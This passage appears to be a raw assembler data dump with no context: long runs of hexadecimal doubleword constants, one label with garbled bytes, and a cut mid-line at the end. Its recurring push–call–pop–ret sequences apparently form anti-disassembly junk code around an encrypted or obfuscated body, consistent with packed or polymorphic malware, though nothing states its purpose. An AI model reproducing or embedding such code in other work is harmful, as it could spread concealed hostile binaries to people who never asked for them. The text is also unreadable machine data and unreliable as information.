0FFDBB70Fh, 0E020FD85h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 147A6346h, 0F381663Dh, 0FF6A7A7Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 22C35343h, 636F7A64h dd 44876ADh, 59B5FF4Dh, 0E907E00Fh, 0Dh, 0B4FE0463h, 462A6C97h dd 6EBA3CD9h, 95FFFCDAh, 7E03389h, 128E9h, 918D0900h, 8B07E033h dd 0E02AFD9Dh, 0F900B007h, 11E8h, 0D1004500h, 79A60EBh dd 0DC3AA07Ah, 0E32C6653h, 6E8EC8Eh, 75000000h, 0D74EB5A6h dd 0E65B5FFFh, 0AD37BB70h, 71E4522Eh, 3C81CF80h, 0E2830F61h dd 0F000000h, 0B60FD9B7h, 0D9D8BC8h, 0BA07E005h, 6, 0BF0FC18Bh dd 4E8C1F9h, 17C59589h, 0F76607E0h, 0E99D8BE2h, 2B07E001h dd 0C5BD8BC8h, 8B07E000h, 0D6BB66D1h, 16E9C4h, 0AE80000h dd 0A9000000h, 59532F6h, 0F2366F07h, 59B589ABh, 5F07E026h dd 12FD858Bh, 0B58907E0h, 7E03039h, 8907C083h, 0E00F51B5h dd 0C08307h, 830FD03Bh, 35h, 13E8h, 0FD6C2000h, 5FAF1EB8h dd 1CA7BA27h, 0C4FFA4F4h, 5556B42Fh, 0CE9h, 0A4707F00h dd 47E5076Bh, 85039A94h, 42E95B96h, 33000000h, 0E004F5BDh dd 0BD8D8B07h, 0B307E008h, 0AE9BBh, 4E570000h, 524FFEA1h dd 76914C68h, 0F01E183h, 1C84h, 0BDA58300h, 0FE07E008h dd 2840Fh, 32B30000h, 12FD9589h, 8EB307E0h, 0E9h, 18B58D00h dd 0E907E3F3h, 0Ch, 0D50A814Eh, 4BF756F6h, 0C71332DCh dd 8D89006Ah, 7E0204Dh, 18A995FFh, 8E0F07E0h, 6, 154D9531h dd 0FE807E0h, 0AB000000h, 0CB4FEDCAh, 884C3E5h, 5E7F353Bh dd 0BD8B9E83h, 7E025C9h, 0E69B95Fh, 85890000h, 7E03275h dd 66FCE183h, 0FCBBEFBBh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 29AB0FC3h, 0D3BB6623h dd 0BBD22B57h, 26DB7FA7h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 11800Fh, 0CE90000h, 0F0000000h, 0B4255CDEh, 2B67E54h dd 0E9B17908h, 7, 5C5FDE05h, 0E8D5F0D4h, 12h, 463877F4h dd 1F6E797Fh, 648579F4h, 0FBC57757h, 9D8920AEh, 7E025FDh dd 880D5Fh, 6AB70000h, 1815958Bh, 8B6607E0h, 498D8BD8h dd 6A07E020h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6903C352h, 0E1B58943h, 5007E023h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 6043E021h, 5DBD0B42h, 0E907E020h, 0Dh, 864F5254h dd 2C3EB2F3h, 0E11EF29Bh, 81666057h, 0BFA4CBD9h, 6CBBE4C2h dd 0F5BD8361h, 7E012h, 77840Fh, 0BD8B0000h, 7E00169h, 0B8h dd 37C38100h, 8D4EFF6Ch, 0E04EE88Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 105EFA64h dd 0A39068D6h, 0FFDF8BF5h, 55006AE1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E61B9B0h dd 0E9F57DECh, 11h, 47AC1104h, 0E2E1E335h, 6853BEA2h, 5A2A1807h dd 0C5BD8321h, 7E022h, 47D840Fh, 81660000h, 2912CEE7h dd 0E02A598Dh, 0C5BD8307h, 107E022h, 480840Fh, 89600000h dd 0E010619Dh, 1DB58B07h, 6107E021h, 22C5BD83h, 0F0307E0h dd 42F86h, 0EDBD8B00h, 6007E02Fh, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 68D4C357h, 4E1808Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 21C35141h, 0FC90ABDh, 19B84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 6A42139Fh, 0BD095033h, 7E017B1h, 4850F5Bh, 66000000h dd 8B5BD5BBh, 0E0339985h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E8CD9FE6h dd 10h, 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 5840Fh dd 81660000h, 5B25E3E3h, 31898533h, 6A07E0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0FD1712C3h dd 3BD38166h, 0EE85074h, 48000000h, 0BD657C81h, 0BDA8689Eh dd 96F7BB63h, 0EE8ADh, 2FCB0000h, 0BAF8E855h, 64B21132h dd 788360CAh, 5B5B5B56h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3E11C351h dd 3E936DF1h, 6A28C903h, 23EF8100h, 663FED54h, 0E88745BFh dd 4, 1F03FFh, 0DCCEBF66h, 24448B50h, 60008B04h, 7E8h dd 7B966D00h, 81059753h, 310F5250h, 6159585Ah, 4244489h dd 0F5BF5250h, 0F7F454Fh, 5A506031h, 310F5250h, 5A61585Ah dd 6A5858h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0AD1E86C3h, 95FF0CC3h, 7E021CDh, 1D259D2Bh dd 858907E0h, 7E3CBADh, 0E9F88B66h, 1DBh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 17C35747h, 39548BDh dd 0CBA5858Bh, 6A07E3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 22FECAC3h, 9A6434BBh, 1800C715h dd 8B000000h, 0E3CBA9B5h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0FBB70F0Ch dd 5F9858Bh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0F7D39CC3h, 2F22A29Eh, 896D5582h dd 0E01BB98Dh, 8973B707h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FB1CD60h dd 0F0B7FABFh, 3399858Bh, 6A07E0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 32304EC3h, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0F941C352h, 8954A8B9h, 0E00471B5h, 0E8605007h dd 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h dd 94795BBBh, 98B55865h, 24348961h, 2C9DB589h, 0B5FF07E0h dd 7E3CBA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 97C35040h, 8B86977Eh, 48BB7C5h, 0A820Fh, 880F0000h dd 4, 98C2BB66h, 0B820CB81h, 6668262Dh, 8BAD4FDBh, 240481DFh dd 52CF2899h, 0AD858DF8h, 6A07E3CBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0BB29C356h dd 42C61495h, 38C0Fh, 8B660000h, 48950F9h, 51858924h, 0FF07E02Eh dd 0E021CD95h, 99953107h, 6107E026h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0ABC35747h, 2960509Ah, 0E012359Dh dd 15958907h, 6107E01Dh, 22C585C7h, 307E0h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 71E2F6C3h, 83EA853Fh, 0E3CBADBDh, 840F0007h, 24h, 86AABF50h dd 0E95B6DECh, 33h, 13E9h, 0AC966400h, 85422482h, 0D8033FFFh dd 0FB393D80h, 0B3C05DA2h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0FC52C353h, 0C7B2B21Fh dd 445BD8Bh, 8E907E0h, 3A000000h, 2E21409Dh, 833E517Fh dd 0E022C5BDh, 850F0307h, 43Bh, 3A7ADB81h, 0BD833848h dd 7E3CBADh, 28840F00h, 0F000004h, 0CCB7DFB7h, 0CBADB5FFh dd 0BD8B07E3h, 7E01A49h, 0A995FFFCh, 0BF07E01Dh, 1AB91CF4h dd 0CBA1B58Bh, 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0EE9686C3h, 2A858589h, 6C707E0h dd 10001h, 459BD8Bh, 0F9607E0h, 88h, 8B605000h, 2850FD0h dd 8B000000h, 6A9661F3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 1BD4C356h, 59A90E94h dd 0EE95413h, 0FC000000h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h dd 0ADB5FFD1h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0A190C352h, 0FCA75A28h dd 3D9D0302h, 0FF07E034h, 0E0301195h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0CD67B9CEh, 958D89DEh, 8B07E016h, 0E3CBA1B5h, 0C9BB6607h dd 0D1858B75h, 6607E022h, 0A008CB81h, 0C48689h, 0BD290000h dd 7E01AA9h, 1815958Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 562944C3h, 0F5A63570h dd 4C283B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 50C35141h, 0E8ABAD36h, 6, 69097C85h, 0B589FA19h dd 7E03045h, 2050895Bh, 10B9CF81h, 890F710Eh, 6, 3185B529h dd 858D07E0h, 7E3E0D4h, 33519D89h, 868907E0h, 0B8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BBC35242h, 0E1F855FFh dd 66A8E169h, 6AB804BFh, 0A99D0300h, 8B07E015h, 0E01A299Dh dd 0ADB5FF07h, 0F907E3CBh, 2A9995FFh, 6A07E0h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 50A987C3h, 10E8h, 74FD900h, 9B7AB819h, 77303930h, 72936124h dd 8B666077h, 890FC2h, 61000000h, 2434895Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6CC35646h, 0AA260EBBh dd 0B5FF1297h, 7E3CBADh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h, 502408E7h dd 28E995FFh, 1FB707E0h, 28E1BD83h, 0F0007E0h, 8184h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 4C2C0919h, 70582CB5h, 8D8960E7h, 7E02F29h, 6870Fh, 0B58B0000h dd 7E01CADh, 9675B761h, 13E9h, 0B987E100h, 0BF82E93Eh dd 0B665E7FAh, 1508EBFh, 68ABF06Ah, 96FA8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 66C35141h, 5E9C993h dd 0C1000000h, 5614257Ch, 0B5FFFC8Ah, 7E3CBADh, 2F0D8D89h dd 95FF07E0h, 7E03035h, 1CADB531h, 0B5FF07E0h, 7E3CBADh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BDC35343h dd 0AA79032Eh, 66F03970h, 0B758F781h, 1B995FFh, 6A07E0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0AAF37EC3h, 8BC7F7F2h, 0E01A0D9Dh, 31BD8307h, 207E007h dd 7D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0F7F7A2C3h, 57995AB2h, 18890Fh dd 12E80000h, 0E3000000h, 7B858609h, 6FBDFCB8h, 0F33985ACh dd 0BB47026Fh, 8B5F5F1Bh, 39858BFAh, 6A07E020h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 5C08C356h, 15E54DAFh, 38D0FFCh, 66000000h, 0C6DA8Bh dd 15858900h, 0C707E007h, 0E0043D85h, 7, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0CCBBED6Eh, 0E958C5C4h, 0FFFFF35Eh, 6AC18Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9D8BE1C3h, 7E0226Dh, 13C9858Dh, 6A07E0h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0EA3096C3h dd 5C9807E8h, 16212FBBh, 0D7816645h, 8B90F99Bh, 13E950D9h dd 0B5000000h, 0C23F3836h, 8DD63F2Ch, 11B1553Eh, 2BBC37B7h dd 6A90E636h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0D177C355h, 9D897290h, 7E007F5h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 9F8209C3h, 120C2CC9h, 898E38EFh, 0E02C519Dh dd 6A006A07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 8269C357h, 8BD98B3Fh, 0E02D9D9Dh dd 0E2858D07h, 6A07E473h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 2CE5C353h, 0F3CA69E8h dd 83345E36h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0BCC130C3h, 3195890Dh, 9007E026h dd 0EE957h, 7DB10000h, 0CE61F9D9h, 0F4DFA8BAh, 0DF8C1DB9h dd 8B0F505Fh, 8, 2810Fh, 5F510000h, 80BB6690h, 0DE8B503Ch dd 0E9006A5Fh, 10h, 0E2F6D930h, 0EA853F71h, 22E6A3EBh dd 74FD94Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 45B1E1C3h, 39814F83h, 0C88E36BFh dd 95BD8B48h, 6607E005h, 0FFBA0ABBh, 0E0344195h, 55BD0907h dd 8D07E01Bh, 0E3A3938Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66FD1Bh dd 0FE8B60D8h, 3481BD8Bh, 0FF6107E0h, 0B19D23D1h, 8307E010h dd 0E016B1BDh, 850F0107h, 46h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 83C35141h, 59D8B73h, 6A07E02Fh dd 0EBFF502h, 50033292h, 9F5B9FBFh, 2404890Ch, 6850Fh dd 9D0B0000h, 7E00DF9h, 2A9995FFh, 0C9E907E0h, 0E800000Ch dd 0 aBaSfJ db ']íìsä',7,'j',0 db 53h, 0E8h, 3 dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0BE56C353h, 0F7EC083Fh, 9BD89F8h, 8D07E018h, 0E3946385h dd 10E907h, 0EB160000h, 0F856E10Fh, 263C05E8h, 65D40F38h dd 0DE9BF45h, 88000000h, 0C15E4D9Eh, 0B6FA8C22h, 1897F0A6h dd 0DA8B6650h, 0E9240489h, 0Dh, 42957138h, 5510F34Ch, 0F0807573h dd 64FA8BE1h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 413D18C3h, 89FB8B66h dd 0E01D9DBDh, 25896407h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6DC35141h dd 85FFD140h, 7E020FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0DEC35545h, 1CC9BD33h, 7E907E0h, 38000000h dd 77DEAD7Bh, 0FF6A3372h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0D0C35747h, 1B41B5FFh, 6A07E0h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BB6681C3h, 95FFCB2Fh, 7E03389h, 119E9h, 0FD9D8B00h dd 0B007E007h, 2D852900h, 8907E031h, 0E01C059Dh, 6070E607h dd 14A5B58Bh, 5E907E0h, 0B4000000h, 0C41B24A1h, 81858961h dd 0E407E026h, 0F613C71h, 0E183h, 1FCF8100h, 0E958FFB4h dd 13h, 17BEFE2Eh, 99F6AEB9h, 9CF85A6Bh, 1EAC7286h, 0F2320BBh dd 6BAC8B6h, 89000000h, 0E008FDB5h, 81C18B07h, 7F3687D3h dd 33DFBB7Ch, 0E8C16BC1h, 0BD9D8B04h, 6607E026h, 9D89E2F7h dd 7E0312Dh, 0FE9C82Bh, 0B5000000h, 97EA394Ah, 9E5EC052h dd 0C9709ACBh, 0D18B0C8Fh, 0E9F88B66h, 6, 30398509h, 858B07E0h dd 7E0126Dh, 8337E380h, 0DE8B07C0h, 6000C083h, 2439BD8Bh dd 3B6107E0h, 17830FD0h, 0F000000h, 688h, 61BD0100h, 0E907E02Ah dd 3Eh, 7F59589h, 8D8B07E0h, 7E01359h, 5CE78166h, 1E18398h dd 24840Fh, 0A5830000h, 7E01359h, 0DD9D89FEh, 8907E02Eh dd 0E0126D95h, 0D58D0907h, 0F07E01Fh, 84h, 0E900h, 0B58D0000h dd 7E402ACh, 6AF98Bh, 0FA4783BFh, 0A995FF4Ah, 0F07E018h dd 0A1B9FFBFh, 6A000008h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F9A6C353h, 565F9860h dd 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 5408C352h, 0B9F04862h, 89562521h dd 0E01EBDBDh, 6AFC5B07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 94BFC356h, 0B82AB7B2h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2CC35646h dd 5CB1E640h, 0BAC015E6h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6DC35242h dd 0F6275E5h, 33ADFABFh, 3E8D1C2h, 4E983D0h, 9D8BF475h dd 7E0074Dh, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0BE6B5D8Fh, 0F5F210FAh dd 0A99D895Ah, 8B07E031h, 0E0181595h, 0CAF38107h, 8B384B20h dd 0E020498Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 7F151F15h, 6870Fh, 9D8B0000h dd 7E02199h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 9D2B5818h, 7E02DB5h, 7E9h, 0D220C400h, 7278D211h, 12F5BD83h dd 0F0007E0h, 6484h, 0FBB70F00h, 0B8h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 68A80D53h, 3840Fh, 0BF0F0000h, 0E88D8DDEh, 8B07E04Eh dd 0E0153DBDh, 60E1FF07h, 75D9589h, 12E807E0h, 0E3000000h dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh, 81858B5Fh dd 5907E015h, 0C5BD8361h, 7E022h, 3F7840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0C3790AC3h, 83F8F578h, 0E022C5BDh, 840F0107h, 3E4h dd 19EDBD89h, 0BD8307E0h, 7E022C5h, 9B860F03h, 6A000003h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0F2B5C355h, 0FD9D89A8h, 6007E013h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CCC35747h, 21C98D89h dd 8C6607E0h, 59BF66D9h, 4E180A3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 60C35141h, 0A95C0202h, 0FC90A0Fh dd 14D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0CDADD806h, 2B4C1A1Ch, 81BD8B66h dd 0BB07E013h, 3BCB30D6h, 3399858Bh, 6A07E0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 5BD615C3h dd 51394387h, 8533F290h, 7E03189h, 2FE9B589h, 609007E0h dd 0F8B0Fh, 9E80000h, 0B8000000h, 3DBA858Fh, 0F024283Bh dd 6EB95059h, 5A310BA7h, 800F5061h, 0 dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 116E939Dh, 0F0106856h, 0D444BF66h, 3415BD8Bh dd 6A07E0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 80C35141h, 1C89B723h, 82B89136h, 2AE18589h, 596807E0h dd 502ACB9Dh, 6B85BF52h, 310F7659h, 3481585Ah, 0D49EA624h dd 56006A2Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0DFD34495h, 4DA9BA09h, 953194AFh, 7E01C0Dh dd 21CD95FFh, 0B70F07E0h, 0AD8589DEh, 0F07E3CBh, 680h dd 69BD8B00h, 0E907E01Ah, 167h, 2689D381h, 858B3A2Fh, 7E3CBA5h dd 68E0Fh, 9D8B0000h, 7E011B5h, 1800C7h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 68D494C3h, 8B516B8Eh, 0E3CBA9B5h, 0F9858B07h, 6A07E005h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0F02FC355h, 8BE4DAA6h, 0E015F59Dh, 9E5BB07h dd 6897133h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 51C35747h, 2E70A987h, 3399858Bh, 6A07E0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0ECA8E1C3h, 60267497h, 0EE9600Fh, 84000000h, 0C64472EEh dd 0EE01EC72h, 91FD8765h, 17BB6635h, 0F88B6145h, 50044689h dd 10E8h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh dd 2EBB6647h, 34895BD0h, 59D78124h, 0FF33059Bh, 0E3CBA5B5h dd 918D0907h, 6807E01Fh, 24C98BF6h, 98B0Fh, 66600000h dd 662120B9h, 8161D08Bh, 88092434h, 0BD8924D6h, 7E00E15h dd 0CBAD858Dh, 8B6007E3h, 0E0191DBDh, 57906107h, 0BE9h dd 0F1DAD500h, 9313DEF1h, 8CCBD884h, 0CBBB505Fh, 905E495Fh dd 1FCD9D01h, 95FF07E0h, 7E021CDh, 61FFBF0Fh, 8D29CBB7h dd 7E02689h, 22C585C7h, 307E0h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 75B8AAC3h dd 979ED2C7h, 0D7EB81A6h, 566FEF20h, 16CD9D8Bh, 835F07E0h dd 0E3CBADBDh, 840F0007h, 22h, 13E8h, 3B854600h, 6DB04D10h dd 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 1EE95FF8h, 66000000h dd 3050FB8Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0DADFCE2Ch, 665746F3h dd 5FB5E5BFh, 22C5BD83h, 0F0307E0h, 39085h, 3850F00h, 0F000000h dd 0CE9DFBFh, 16000000h, 0C55B7CEFh, 0FF8EB447h, 8369908Eh dd 0E3CBADBDh, 840F0007h, 369h, 90DBD8Bh, 0BD8907E0h, 7E03039h dd 0CBADB5FFh, 6A07E3h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 7175EAC3h, 5D79DCA8h, 6810F25h dd 89000000h, 0E00F358Dh, 8B665107h, 95FF5BD8h, 7E01DA9h dd 6830Fh, 85890000h, 7E02939h, 8890Fh, 0F500000h, 86h dd 0B58B5B00h, 7E3CBA1h, 68C0Fh, 9D8B0000h, 7E00201h, 106C7h dd 0DE8B0001h, 8A0F5150h, 2, 895F5B57h, 85892434h, 7E00561h dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 4E175DC3h, 0FFA11561h, 0E0301195h dd 0F8A0F07h, 0E9000000h, 0Ah, 2BD531D0h, 0A49A1749h, 0BD8BF615h dd 7E018C9h, 0CBA1B58Bh, 6A07E3h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0D69E83C3h, 81666ADEh dd 8BEBF8C7h, 0E022D185h, 0DE907h, 96490000h, 4D1CAEBFh dd 0AC67E284h, 89938D3Dh, 0C486h, 0DABF0F00h, 1815958Bh dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 832E6BC3h, 0BD2904C2h, 7E01FB5h, 66205089h dd 858DFB8Bh, 7E3E0D4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0DAC35141h, 0B8868993h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 5DAFC352h, 0DBBF0FCBh, 4B1240BFh, 8B006A56h, 0E00135BDh dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0E42DC352h, 74C43629h dd 85893E7Dh, 7E006A9h, 2A9995FFh, 6A07E0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 8D9EAC3h dd 0F6096F6h, 389h, 0CB8B6600h, 5061C28Bh, 58D0F96h, 60000000h dd 61F82DB0h, 0CBADB5FFh, 95FF07E3h, 7E028E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CCC35040h, 8D895497h dd 7E02179h, 28E1BD83h, 0F0007E0h, 5D84h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 5DE860E9h, 6970FA1Eh, 0C99D8B22h, 5007E017h, 0D147BB66h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 4C2EC351h, 0BF42139Fh, 13188A16h dd 127D9589h, 0B5FF07E0h, 7E3CBADh, 119D8B60h, 6607E023h dd 6186DCBBh, 303595FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0C5085EC3h, 0B5FFCBD6h dd 7E3CBADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 55C35646h, 78194710h, 0BB3D3AE3h, 0C9BD2359h, 0FF07E023h dd 0E001B995h, 880F5207h, 6, 2F05BD8Bh, 835B07E0h, 0E00731BDh dd 840F0207h, 15h, 0A2CF8156h, 5F056909h, 2039858Bh, 0C607E0h dd 0B1BF6600h, 3D85C7B1h, 7E004h, 81000000h, 7DFC89D3h dd 0F488E907h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 6F139AC3h, 0EB8166F9h, 0C18B3775h dd 11E860h, 0E9310000h, 1A7075E3h, 7BD445B8h, 3A2B10C9h dd 31835835h, 0E0050185h, 8D8B5B07h, 7E0057Dh, 0A7C78061h dd 13C9858Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 4A71A7C3h, 0F0C809DDh, 501E7039h dd 8E860h, 0B6F20000h, 0CA05462Eh, 8B0F3F27h, 0 dd 489615Fh, 0BF665024h, 6A5BEF97h, 0EFBFF500h, 6A2DE4F5h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0C1712CBCh, 0B7A9A173h, 20858DD5h, 6A07E483h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 91C9C355h, 999D8BE9h, 8307E008h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 910119C3h, 3D7FEAD1h, 0A0E28160h, 0E8090E93h, 0Fh, 8FAF0E62h dd 0E71EC012h, 4286EC89h, 0E910B81Fh, 10h, 0C3869FD9h dd 6AE5C09Fh, 0E081047Ch, 24A622E3h, 8BF5615Bh, 0E00739BDh dd 8A605007h, 48961D8h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 669B74FAh, 6AAE4ABFh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 